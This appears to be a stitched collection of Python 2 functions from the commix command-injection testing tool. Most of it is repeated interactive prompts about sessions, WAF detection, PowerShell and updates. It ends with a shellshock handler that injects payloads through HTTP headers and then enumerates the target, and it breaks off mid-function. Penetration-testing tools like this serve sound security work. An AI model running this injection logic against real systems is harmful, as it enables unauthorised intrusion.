def define_py_working_dir(): if settings.TARGET_OS == "win" and menu.options.alter_shell: while True: if not menu.options.batch: question_msg = "Do you want to use '" + settings.WIN_PYTHON_DIR question_msg += "' as Python working directory on the target host? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) python_dir = sys.stdin.readline().replace("\n","").lower() else: python_dir = "" if len(python_dir) == 0: python_dir = "y" if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: question_msg = "Please provide a custom working directory for Python (e.g. '" question_msg += settings.WIN_PYTHON_DIR + "') > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.WIN_PYTHON_DIR = sys.stdin.readline().replace("\n","").lower() break else: err_msg = "'" + python_dir + "' is not a valid answer." print settings.print_error_msg(err_msg) pass settings.USER_DEFINED_PYTHON_DIR = True # eof
def notification(url, technique, injection_type): try: if settings.LOAD_SESSION == True: info_msg = "A previously stored session has been held against that host." print settings.print_info_msg(info_msg) while True: if not menu.options.batch: question_msg = "Do you want to resume to the " question_msg += "(" + injection_type.split(" ")[0] + ") " question_msg += technique.rsplit(' ', 2)[0] question_msg += " injection point? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.LOAD_SESSION = sys.stdin.readline().replace("\n","").lower() else: settings.LOAD_SESSION = "" if len(settings.LOAD_SESSION) == 0: settings.LOAD_SESSION = "y" if settings.LOAD_SESSION in settings.CHOICE_YES: return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False if technique[:1] != "c": while True: question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "a": settings.RETEST = True break elif proceed_option.lower() == "c" : settings.RETEST = False break elif proceed_option.lower() == "n": raise SystemExit() else: pass else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if settings.SESSION_APPLIED_TECHNIQUES: menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES) return False elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except sqlite3.OperationalError, err_msg: print settings.print_critical_msg(err_msg)
def notification(url, technique): try: if settings.LOAD_SESSION == True: success_msg = "A previously stored session has been held against that host." print settings.print_success_msg(success_msg) while True: question_msg = "Do you want to resume to the " question_msg += technique.rsplit(' ', 2)[0] question_msg += " injection point? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.LOAD_SESSION = sys.stdin.readline().replace("\n","").lower() if settings.LOAD_SESSION in settings.CHOICE_YES: return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False if technique[:1] != "c": while True: question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "a": settings.RETEST = True break elif proceed_option.lower() == "c": settings.RETEST = False break elif proceed_option.lower() == "n": raise SystemExit() else: pass else: if proceed_option.lower() == "": proceed_option = "enter" err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass return False elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() else: if settings.LOAD_SESSION == "": settings.LOAD_SESSION = "enter" err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except sqlite3.OperationalError, err_msg: print settings.print_critical_msg(err_msg)
def ps_check(): if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords: if settings.VERBOSITY_LEVEL >= 1: print "" warn_msg = "The payloads in some options that you " warn_msg += "have chosen, are requiring the use of PowerShell. " print settings.print_warning_msg(warn_msg) while True: question_msg = "Do you want to use the \"--ps-version\" option " question_msg += "so ensure that PowerShell is enabled? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) ps_check = sys.stdin.readline().replace("\n","").lower() if ps_check in settings.CHOICE_YES: menu.options.ps_version = True break elif ps_check in settings.CHOICE_NO: break elif ps_check in settings.CHOICE_QUIT: print "" os._exit(0) else: if ps_check == "": ps_check = "enter" err_msg = "'" + ps_check + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def process_json_data(): while True: success_msg = "JSON data found in POST data." if not menu.options.batch: question_msg = success_msg question_msg += " Do you want to process it? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) json_process = sys.stdin.readline().replace("\n","").lower() else: if settings.VERBOSITY_LEVEL >= 1: print settings.print_success_msg(success_msg) json_process = "" if len(json_process) == 0: json_process = "y" if json_process in settings.CHOICE_YES: settings.IS_JSON = True break elif json_process in settings.CHOICE_NO: break elif json_process in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + json_process + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def mobile_user_agents(): print """---[ """ + Style.BRIGHT + Fore.BLUE + """Available Mobile HTTP User-Agent headers""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry 9900 HTTP User-Agent header. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S HTTP User-Agent header. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365 HTTP User-Agent header. Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC Sensation HTTP User-Agent header. Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Apple iPhone 4s HTTP User-Agent header. Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Google Nexus 7 HTTP User-Agent header. Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Nokia N97 HTTP User-Agent header. """ while True: question_msg = "Which mobile HTTP User-Agent header do you want to use? " sys.stdout.write(settings.print_question_msg(question_msg)) mobile_user_agent = sys.stdin.readline().replace("\n","").lower() try: if int(mobile_user_agent) in range(0,len(settings.MOBILE_USER_AGENT_LIST)): return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] elif mobile_user_agent.lower() == "q": raise SystemExit() else: err_msg = "'" + mobile_user_agent + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except ValueError: err_msg = "'" + mobile_user_agent + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def continue_tests(err): # If defined "--ignore-401" option, ignores HTTP Error 401 (Unauthorized) # and continues tests without providing valid credentials. if menu.options.ignore_401: settings.WAF_ENABLED = True return True # Possible WAF/IPS/IDS if (str(err.code) == "403" or "406") and \ not menu.options.skip_waf: # Check if "--skip-waf" option is defined # that skips heuristic detection of WAF/IPS/IDS protection. settings.WAF_ENABLED = True warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS." print settings.print_warning_msg(warn_msg) try: while True: question_msg = "Do you want to ignore the error (" + str(err.code) question_msg += ") message and continue the tests? [Y/n/q] > " continue_tests = raw_input(settings.print_question_msg(question_msg)).lower() if continue_tests in settings.CHOICE_YES: return True elif continue_tests in settings.CHOICE_NO: return False elif continue_tests in settings.CHOICE_QUIT: return False else: if continue_tests == "": continue_tests = "enter" err_msg = "'" + continue_tests + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass except KeyboardInterrupt: print "\n" + Back.RED + settings.ABORTION_SIGN + "Ctrl-C was pressed!" + Style.RESET_ALL raise SystemExit()
def check_for_update(): try: response = urllib2.urlopen('https://raw.githubusercontent.com/stasinopoulos/commix/master/src/utils/settings.py') version_check = response.readlines() for line in version_check: line = line.rstrip() if "VERSION = " in line: update_version = line.replace("VERSION = ", "").replace("\"", "") break if float(settings.VERSION.replace(".","")) < float(update_version.replace(".","")): warn_msg = "Current version seems to be out-of-date." print settings.print_warning_msg(warn_msg) while True: question_msg = "Do you want to update to the latest version now? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() if do_update in settings.CHOICE_YES: updater() os._exit(0) elif do_update in settings.CHOICE_NO: break else: if do_update == "": do_update = "enter" err_msg = "'" + do_update + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except: print "" pass # eof
def exploitation(url, delay, filename, http_request_method, url_time_response): if url_time_response >= settings.SLOW_TARGET_RESPONSE: warn_msg = "It is highly recommended, due to serious response delays, " warn_msg += "to skip the time-based (blind) technique and to continue " warn_msg += "with the file-based (semiblind) technique." print settings.print_warning_msg(warn_msg) go_back = False while True: if go_back == True: return False question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = raw_input(settings.print_question_msg(question_msg)).lower() if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": from src.core.injections.semiblind.techniques.file_based import fb_handler fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) elif proceed_option.lower() == "c": if tb_injection_handler(url, delay, filename, http_request_method, url_time_response) == False: return False elif proceed_option.lower() == "q": raise SystemExit() else: if proceed_option == "": proceed_option = "enter" err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass else: if tb_injection_handler(url, delay, filename, http_request_method, url_time_response) == False: return False
def custom_srv_root_dir(): if settings.TARGET_OS == "win" : example_root_dir = "\\inetpub\\wwwroot" else: example_root_dir = "/var/www/" question_msg = "Please provide the host's root directory (e.g. '" question_msg += example_root_dir + "') > " settings.SRV_ROOT_DIR = raw_input(settings.print_question_msg(question_msg)) settings.CUSTOM_SRV_ROOT_DIR = True
def custom_srv_root_dir(): if settings.TARGET_OS == "win" : example_root_dir = "\\inetpub\\wwwroot" else: example_root_dir = "/var/www/" question_msg = "Please provide the host's root directory (e.g. '" question_msg += example_root_dir + "') > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.SRV_ROOT_DIR = sys.stdin.readline().replace("\n","").lower() settings.CUSTOM_SRV_ROOT_DIR = True
def create_github_issue(err_msg, exc_msg): key = hashlib.md5(exc_msg).hexdigest()[:8] while True: try: if not menu.options.batch: question_msg = "Do you want to automatically create a new (anonymized) issue " question_msg += "with the unhandled exception information at " question_msg += "the official Github repository? [y/N] " sys.stdout.write(settings.print_question_msg(question_msg)) choise = sys.stdin.readline().replace("\n","").lower() else: choise = "" if len(choise) == 0: choise = "n" if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: print "" return else: err_msg = "'" + choise + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except: print "\n" raise SystemExit() err_msg = err_msg[err_msg.find("\n"):] req = urllib2.Request(url="https://api.github.com/search/issues?q=" + \ urllib.quote("repo:commixproject/commix" + " " + "Unhandled exception (#" + str(key) + ")") ) try: content = urllib2.urlopen(req).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" if duplicate: warn_msg = "That issue seems to be already reported" if closed: warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" warn_msg += ".\n" print settings.print_warning_msg(warn_msg) return except: pass data = {"title": "Unhandled exception (#" + str(key) + ")", "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} req = urllib2.Request(url="https://api.github.com/repos/commixproject/commix/issues", data=json.dumps(data), headers={"Authorization": "token " + str(settings.GITHUB_REPORT_OAUTH_TOKEN.decode("base64"))}) try: content = urllib2.urlopen(req).read() except Exception, err: content = None
def check_unicorn_version(current_version): try: if len(current_version) != 0: response = urllib2.urlopen('https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py', timeout=1) latest_version = response.readlines() for line in latest_version: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","") break if len(current_version) == 0 or \ (int(current_version.replace(".","")[:2]) < int(latest_version.replace(".","")[:2])) or \ ((int(current_version.replace(".","")[:2]) == int(latest_version.replace(".","")[:2])) and \ int(current_version.replace(".","")[2:]) < int(latest_version.replace(".","")[2:])): if len(current_version) != 0: warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." print settings.print_warning_msg(warn_msg) else: warn_msg = "TrustedSec's Magic Unicorn seems to be not installed." print settings.print_warning_msg(warn_msg) while True: if not menu.options.batch: if len(current_version) == 0: action = "install" else: action = "update to" question_msg = "Do you want to " + action + " the latest version now? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() else: do_update = "" if len(do_update) == 0: do_update = "y" if do_update in settings.CHOICE_YES: unicorn_updater(current_version) elif do_update in settings.CHOICE_NO: break else: err_msg = "'" + do_update + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: raise except: pass # eof
def do_check(url, filename): if perform_checks(url,filename) == False: if menu.options.level == None: menu.options.level = settings.DEFAULT_INJECTION_LEVEL scan_level = menu.options.level while scan_level < settings.HTTP_HEADER_INJECTION_LEVEL and settings.LOAD_SESSION == None: question_msg = "Do you want to increase to '--level=" + str(scan_level + 1) question_msg += "' in order to perform more tests? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) next_level = sys.stdin.readline().replace("\n","").lower() if next_level in settings.CHOICE_YES: menu.options.level = int(menu.options.level + scan_level) if perform_checks(url,filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : scan_level = scan_level + 1 else: break elif next_level in settings.CHOICE_NO: break elif next_level in settings.CHOICE_QUIT: sys.exit(0) else: if next_level == "": next_level = "enter" err_msg = "'" + next_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : print menu.options.level if settings.INJECTION_CHECKER == False: err_msg = "All tested parameters " if menu.options.level > 2: err_msg += "and headers " err_msg += "appear to be not injectable." if not menu.options.alter_shell : err_msg += " Try to use the option '--alter-shell'" else: err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : err_msg += " and/or try to increase '--level' values to perform" err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Cookie' etc)" err_msg += "." print settings.print_critical_msg(err_msg) sys.exit(0) #eof
def set_php_working_dir(): while True: if not menu.options.batch: question_msg = "Do you want to use '" + settings.WIN_PHP_DIR question_msg += "' as PHP working directory on the target host? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) php_dir = sys.stdin.readline().replace("\n","").lower() else: php_dir = "" if len(php_dir) == 0: php_dir = "y" if php_dir in settings.CHOICE_YES: break elif php_dir in settings.CHOICE_NO: question_msg = "Please provide a custom working directory for PHP (e.g. '" question_msg += settings.WIN_PHP_DIR + "') > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.WIN_PHP_DIR = sys.stdin.readline().replace("\n","").lower() settings.USER_DEFINED_PHP_DIR = True break else: err_msg = "'" + php_dir + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def ps_check_failed(): while True: question_msg = "Do you want to ignore the above warning and continue the procedure? [Y/n] > " ps_check = raw_input(settings.print_question_msg(question_msg)).lower() if ps_check in settings.CHOICE_YES: break elif ps_check in settings.CHOICE_NO: print "" os._exit(0) else: if ps_check == "": ps_check = "enter" err_msg = "'" + ps_check + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass
def custom_web_root(url, timesec, filename, http_request_method, url_time_response): if settings.TARGET_OS == "win" : example_root_dir = "\\inetpub\\wwwroot" else: example_root_dir = "/var/www" question_msg = "Please provide the host's root directory (e.g. '" question_msg += example_root_dir + "') > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.WEB_ROOT = sys.stdin.readline().replace("\n","").lower() if settings.WEB_ROOT.endswith(("\\", "/")): settings.WEB_ROOT = settings.WEB_ROOT[:-1] if len(settings.WEB_ROOT) == 0: settings.WEB_ROOT = example_root_dir if menu.options.web_root: menu.options.web_root = settings.WEB_ROOT settings.CUSTOM_WEB_ROOT = True
def next_attack_vector(technique, go_back): while True: question_msg = "Continue with testing the " + technique + "? [Y/n/q] > " next_attack_vector = raw_input(settings.print_question_msg(question_msg)).lower() if next_attack_vector in settings.CHOICE_YES: return True elif next_attack_vector in settings.CHOICE_NO: return False elif next_attack_vector in settings.CHOICE_QUIT: sys.exit(0) else: if next_attack_vector == "": next_attack_vector = "enter" err_msg = "'" + next_attack_vector + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass
def check_CGI_scripts(url): try: CGI_SCRIPTS = [] if not os.path.isfile(settings.CGI_SCRIPTS ): err_msg = "The pages / scripts list (" + settings.CGI_SCRIPTS + ") is not found" print settings.print_critical_msg(err_msg) raise SystemExit() if len(settings.CGI_SCRIPTS ) == 0: err_msg = "The " + settings.CGI_SCRIPTS + " list is empty." print settings.print_critical_msg(err_msg) raise SystemExit() with open(settings.CGI_SCRIPTS , "r") as f: for line in f: line = line.strip() CGI_SCRIPTS.append(line) except IOError: err_msg = " Check if the " + settings.CGI_SCRIPTS + " list is readable or corrupted." print settings.print_critical_msg(err_msg) raise SystemExit() for cgi_script in CGI_SCRIPTS: if cgi_script in url and menu.options.shellshock == False: warn_msg = "URL is probable to contain a script ('" + cgi_script + "') " warn_msg += "vulnerable to shellshock. " print settings.print_warning_msg(warn_msg) while True: if not menu.options.batch: question_msg = "Do you want to enable the shellshock injection module? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) shellshock_check = sys.stdin.readline().replace("\n","").lower() else: shellshock_check = "" if len(shellshock_check) == 0: shellshock_check = "y" if shellshock_check in settings.CHOICE_YES: menu.options.shellshock = True break elif shellshock_check in settings.CHOICE_NO: menu.options.shellshock = False break elif shellshock_check in settings.CHOICE_QUIT: print "" os._exit(0) else: err_msg = "'" + shellshock_check + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def ps_check_failed(): while True: question_msg = "Do you want to ignore the above warning " question_msg += "and continue the procedure? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) ps_check = sys.stdin.readline().replace("\n","").lower() if ps_check in settings.CHOICE_YES: break elif ps_check in settings.CHOICE_NO: print "" os._exit(0) else: if ps_check == "": ps_check = "enter" err_msg = "'" + ps_check + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def next_attack_vector(technique, go_back): while True: question_msg = "Continue with testing the " + technique + "? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) next_attack_vector = sys.stdin.readline().replace("\n","").lower() if next_attack_vector in settings.CHOICE_YES: return True elif next_attack_vector in settings.CHOICE_NO: return False elif next_attack_vector in settings.CHOICE_QUIT: sys.exit(0) else: if next_attack_vector == "": next_attack_vector = "enter" err_msg = "'" + next_attack_vector + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def identified_os(): warn_msg = "Heuristics have identified different operating system (" warn_msg += settings.TARGET_OS + ") than that you have provided." print settings.print_warning_msg(warn_msg) question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = raw_input(settings.print_question_msg(question_msg)).lower() if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": return False elif proceed_option.lower() == "c": return True elif proceed_option.lower() == "q": raise SystemExit() else: if proceed_option == "": proceed_option = "enter" err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass
def identified_http_auth_type(auth_type): warn_msg = "Heuristics have identified different HTTP authentication type (" warn_msg += auth_type.lower() + ") than that you have provided (" warn_msg += menu.options.auth_type + ")." print settings.print_warning_msg(warn_msg) question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = raw_input(settings.print_question_msg(question_msg)).lower() if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": return False elif proceed_option.lower() == "c": return True elif proceed_option.lower() == "q": raise SystemExit() else: if proceed_option == "": proceed_option = "enter" err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass
def procced_with_file_based_technique(): while True: if not menu.options.batch: question_msg = "Do you want to procced with the (semi-blind) " question_msg += "file-based injection technique? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) enable_fb = sys.stdin.readline().replace("\n","").lower() else: enable_fb = "" if len(enable_fb) == 0: enable_fb = "y" if enable_fb in settings.CHOICE_YES: return True elif enable_fb in settings.CHOICE_NO: return False elif enable_fb in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enable_fb + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def continue_tests(err): # If defined "--ignore-401" option, ignores HTTP Error 401 (Unauthorized) # and continues tests without providing valid credentials. if menu.options.ignore_401: settings.WAF_ENABLED = True return True # Possible WAF/IPS/IDS if (str(err.code) == settings.FORBIDDEN_ERROR or settings.NOT_ACCEPTABLE_ERROR) and \ not menu.options.skip_waf and \ not settings.HOST_INJECTION : # Check if "--skip-waf" option is defined # that skips heuristic detection of WAF/IPS/IDS protection. settings.WAF_ENABLED = True warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS." print settings.print_warning_msg(warn_msg) try: while True: if not menu.options.batch: question_msg = "Do you want to ignore the error (" + str(err.code) question_msg += ") message and continue the tests? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) continue_tests = sys.stdin.readline().replace("\n","").lower() else: continue_tests = "" if len(continue_tests) == 0: continue_tests = "y" if continue_tests in settings.CHOICE_YES: return True elif continue_tests in settings.CHOICE_NO: return False elif continue_tests in settings.CHOICE_QUIT: return False else: err_msg = "'" + continue_tests + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: print "\n" + Back.RED + settings.ABORTION_SIGN + "Ctrl-C was pressed!" + Style.RESET_ALL raise SystemExit()
def next_attack_vector(technique, go_back): while True: if not menu.options.batch: question_msg = "Continue with testing the " + technique + "? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) next_attack_vector = sys.stdin.readline().replace("\n","").lower() else: next_attack_vector = "" if len(next_attack_vector) == 0: next_attack_vector = "y" if next_attack_vector in settings.CHOICE_YES: # Check injection state assessment_phase() return True elif next_attack_vector in settings.CHOICE_NO: return False elif next_attack_vector in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + next_attack_vector + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def exploitation(url, timesec, filename, http_request_method, url_time_response): # Check if attack is based on time delays. if not settings.TIME_RELATIVE_ATTACK : settings.TIME_RELATIVE_ATTACK = True if url_time_response >= settings.SLOW_TARGET_RESPONSE: warn_msg = "It is highly recommended, due to serious response delays, " warn_msg += "to skip the time-based (blind) technique and to continue " warn_msg += "with the file-based (semiblind) technique." print settings.print_warning_msg(warn_msg) go_back = False while True: if go_back == True: return False if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": from src.core.injections.semiblind.techniques.file_based import fb_handler fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) elif proceed_option.lower() == "c": if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response) == False: return False elif proceed_option.lower() == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response) == False: settings.TIME_RELATIVE_ATTACK = False return False
def identified_os(): if not menu.options.batch: warn_msg = "Heuristics have identified different operating system (" warn_msg += settings.TARGET_OS + ") than that you have provided." print settings.print_warning_msg(warn_msg) question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": return False elif proceed_option.lower() == "c": return True elif proceed_option.lower() == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def check_for_update(): try: response = urllib2.urlopen('https://raw.githubusercontent.com/commixproject/commix/master/src/utils/settings.py', timeout=1) version_check = response.readlines() for line in version_check: line = line.rstrip() if "VERSION_NUM = " in line: update_version = line.replace("VERSION_NUM = ", "").replace("\"", "") break if (int(settings.VERSION_NUM.replace(".","")[:2]) < int(update_version.replace(".","")[:2])) or \ ((int(settings.VERSION_NUM.replace(".","")[:2]) == int(update_version.replace(".","")[:2])) and \ int(settings.VERSION_NUM.replace(".","")[2:]) < int(update_version.replace(".","")[2:])): warn_msg = "Current version seems to be out-of-date." print settings.print_warning_msg(warn_msg) while True: if not menu.options.batch: question_msg = "Do you want to update to the latest version now? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() else: do_update = "" if len(do_update) == 0: do_update = "y" if do_update in settings.CHOICE_YES: updater() elif do_update in settings.CHOICE_NO: break else: err_msg = "'" + do_update + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: raise except: pass
def store_crawling(): while True: if not menu.options.batch: question_msg = "Do you want to store crawling results to a temporary file " question_msg += "(for eventual further processing with other tools)? [y/N] > " sys.stdout.write(settings.print_question_msg(question_msg)) store_crawling = sys.stdin.readline().replace("\n","").lower() else: store_crawling = "" if len(store_crawling) == 0: store_crawling = "n" if store_crawling in settings.CHOICE_YES: filename = tempfile.mkstemp(suffix=".txt")[1] info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." print settings.print_info_msg(info_msg) return str(filename) elif store_crawling in settings.CHOICE_NO: return None elif store_crawling in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + store_crawling + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def shellshock_handler(url, http_request_method, filename): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "shellshock injection technique" info_msg = "Testing the " + technique + "... " if settings.VERBOSITY_LEVEL > 1: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: i = 0 total = len(shellshock_cves) * len(headers) for cve in shellshock_cves: for check_header in headers: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 attack_vector = "echo " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: sys.stdout.write("\n" + settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) header = {check_header : payload} request = urllib2.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload else: menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: response = tor.use_tor(request) else: response = urllib2.urlopen(request) percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL no_result = False elif len(response.info()) > 0 and cve in response.info(): percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL no_result = False elif len(response.read()) > 0 and cve in response.read(): percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL no_result = False else: percent = str(float_percent )+ "%" if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if no_result == False: # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) #if vp_flag == True: vuln_parameter = "HTTP Header" the_type = " " + vuln_parameter check_header = " " + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) success_msg = "The (" + check_header + ") '" success_msg += url + Style.RESET_ALL + Style.BRIGHT success_msg += "' seems vulnerable via " + technique + "." if settings.VERBOSITY_LEVEL <= 1: print "" print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + "\"" + payload + "\"" + Style.RESET_ALL # if not settings.VERBOSITY_LEVEL >= 1: # print "" # Enumeration options. if settings.ENUMERATION_DONE == True : if settings.VERBOSITY_LEVEL >= 1: print "" while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) enumerate_again = sys.stdin.readline().replace("\n","").lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: enumeration(url, cve, check_header, filename) # File access options. if settings.FILE_ACCESS_DONE == True : while True: if not menu.options.batch: 